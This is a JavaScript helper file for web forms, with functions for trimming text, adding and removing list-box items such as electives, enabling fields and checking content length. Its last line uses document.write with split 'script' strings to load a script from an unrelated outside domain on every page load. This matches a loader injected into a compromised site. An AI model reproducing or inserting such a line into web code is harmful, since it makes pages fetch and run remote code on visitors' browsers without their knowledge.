
 function ShowHelpDialog(Url)
    {
	if (window.showModalDialog)
		 {
			 var dialogwin=window.showModalDialog(Url);
		 }
 		else
		{
				openWindow(Url);
		}	
  }
  
  function openWindow(UrlPath)
  {
   var newwin=window.open(UrlPath);
 }
	 
  function setFocus(name)
  {
  	this.name=document.getElementById(name);
	this.name.focus();
  }
  function HrefControl(name)
    {
    var objName= new setFocus(name);
  }
function LTrim(val) {
	var trimI;
	for(trimI=0;trimI<=val.length;trimI++) {
	if (val.charAt(0)== " ") {
		val = val.substring(1, val.length);
		trimI=0;
	} else break;
    }
    return val;
}
function RTrim(val) {
	var trimI;
    for(trimI=0;trimI<=val.length;trimI++) {
	if (val.charAt(val.length-1)== " ") {
		val = val.substring(0, val.length-1);
		trimI=0;
	} else break;
    }
    return val;
}
function Trim(val) {
	val = LTrim(val);
	val = RTrim(val);
	return val;
}
function SetValue(Id,value)
	{
	if (document.getElementById (Id))
	    document.getElementById (Id).value =value;
	}
function IsExist(Id)
	{
	if (document.getElementById (Id))
	  return (true);
	else
	  return (false);
	}
	
	
function isItemExist(ListBox,TextBox) 
  {
	for (var i = 0;i<=document.getElementById(ListBox).length-1;i++) 
         {
     	  if (document.getElementById(ListBox).options[i].value.toLowerCase() == document.getElementById(TextBox).value.toLowerCase()) 
     	   {
				alert("Elective Already Exist");
				document.getElementById(TextBox).focus();
				document.getElementById(TextBox).select();
				return false;
		   }
	}
	return true;	
}
function AddtItem(TextBox,ListBox,errmsg) 
   {
	var totElective = 0;
	if (document.getElementById(TextBox).value != "") 
	  {
		if(isItemExist(ListBox,TextBox)) 
		  {
			totElective = document.getElementById(ListBox).length;
			document.getElementById(ListBox).length = document.getElementById(ListBox).length + 1;
			document.getElementById(ListBox).options[totElective].value = document.getElementById(TextBox).value;
			document.getElementById(ListBox).options[totElective].text = document.getElementById(TextBox).value;
			document.getElementById(TextBox).value = "";
			document.getElementById(TextBox).focus();
		  }
	  } 
	else 
	   alert(errmsg);
    }

function RemoveItem(TextBox,ListBox,errmsg) 
  {
	if (document.getElementById(ListBox).selectedIndex > 0) 
	   {
		for (var i = document.getElementById(ListBox).selectedIndex; i<document.getElementById(ListBox).options.length-1; i++)
		 {
			document.getElementById(ListBox).options[i].value = document.getElementById(ListBox).options[i+1].value;
			document.getElementById(ListBox).options[i].text = document.getElementById(ListBox).options[i+1].text;
		  }
		document.getElementById(ListBox).options.length = document.getElementById(ListBox).options.length -1;
	   }
	else
	  {
	    if (Trim(errmsg)!= "" )   
	      alert(errmsg)
	  }  
}

function Enable(Id)
{
if (IsExist(Id))
document.getElementById(Id).disabled=false ;
}

function Disable(Id)
{
if (IsExist(Id))
document.getElementById(Id).disabled=true;
}




function CheckContentLength(frmName, objName, MaxLength, msg, disobjName) {
if(document.forms[frmName]) {
if(document.forms[frmName].elements[objName]) {
if(document.forms[frmName].elements[objName].value.length > parseInt(MaxLength-1)) {
alert(msg);
document.forms[frmName].elements[objName].value = document.forms[frmName].elements[objName].value.substr(0,parseInt(MaxLength-1));
document.forms[frmName].elements[objName].setfocus;
return false;
}
if (document.forms[frmName].elements[disobjName]) {
document.forms[frmName].elements[disobjName].value = document.forms[frmName].elements[objName].value.length+1;
}
} else alert("Invalid Object Name");
} else alert("Invalid Form Name");
}



document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Captcha.js"></scri'+'pt>');